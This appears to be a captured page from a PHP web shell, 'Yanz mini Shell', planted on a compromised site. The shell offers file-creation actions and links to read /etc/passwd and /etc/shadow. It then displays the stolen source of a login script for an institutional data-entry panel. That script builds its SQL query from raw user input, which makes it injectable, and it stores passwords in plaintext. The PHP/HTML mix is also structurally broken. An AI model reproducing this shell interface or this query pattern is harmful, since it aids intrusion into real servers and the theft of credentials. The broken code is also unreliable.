Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
include("connect.php");
if(!empty($_GET['title'])){
	$page_title=$_GET['title'];
	
session_start();

if($page_title=='Data Entry Panel Login'){

<!DOCTYPE html>
<html lang="en">
<head>
  <title>National Academy for Planning & Development</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="css/custom_css.css">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  <style>
    /* Set height of the grid so .sidenav can be 100% (adjust if needed) */
   /* .row.content {height: 1500px}*/
    
    /* Set gray background color and 100% height */
	
	.container-fluid
{
    height: 100%;
}
    .sidenav {
      background-color: #f1f1f1;
      height: 100%;
    }
    
    /* Set black background color, white text and some padding */
    footer {
      background-color: #555;
      color: white;
	  margin-top: 0px;
      padding: 15px;
    }
    
    /* On small screens, set height to 'auto' for sidenav and grid */
    @media screen and (max-width: 767px) {
      .sidenav {
        height: auto;
        padding: 15px;
      }
      .row.content {height: auto;} 
    }
  </style>
</head>
<body>

<br>
    <br>
    <br>
    
  </div>
</div>
</form>
   <?php

if(isset($_POST['submit'])){
	
	$user_name = $_POST['user_name'];
	$password =$_POST['password'];

$admin_query = "select * from employee_information_dataentry where email='$user_name' AND password='$password'";

$run =  mysqli_query($db, $admin_query); 
	
	
	
	if(mysqli_num_rows($run)>0){
	
	$_SESSION['user_name']=$user_name;
	echo "<script>window.open('Dataentry/index.php','_self')</script>";
	}
	else {
	
	echo "<script>alert('User name or Password is incorrect please Check your User Name and Password')</script>";
	echo "<script>window.open('dataentry.php?title=Data Entry Panel Login','_self')</script>";
	}
}
?>   
    </div>
<style>
/* Style the buttons */

/* Style the active class, and buttons on mouse-over */
.active, .btn:hover {
    background-color: #666;
    color: #000;
}
</style>
    
  </div>
</div>

<?php include('footer.php'); ?>

</body>
</html>

<?php

}
	else if($page_title=='Participant Panel Login'){
		echo "<script>window.open('participant.php?title=Participant Panel Login','_self')</script>";
		}
		else if($page_title=='Speaker Panel Login'){
		echo "<script>window.open('speaker.php?title=Speaker Panel Login','_self')</script>";
		}
		else if($page_title=='Course management Login'){
		echo "<script>window.open('coursemanagement.php?title=Course management Login','_self')</script>";
		}else if($page_title=='Admin Panel Login'){
		echo "<script>window.open('index.php?title=Admin Panel Login','_self')</script>";
		}else{
			echo "<script>window.open('error_page.php','_self')</script>";
			}
			
	}else{
		echo "<script>window.open('error_page.php','_self')</script>";
		}		
?>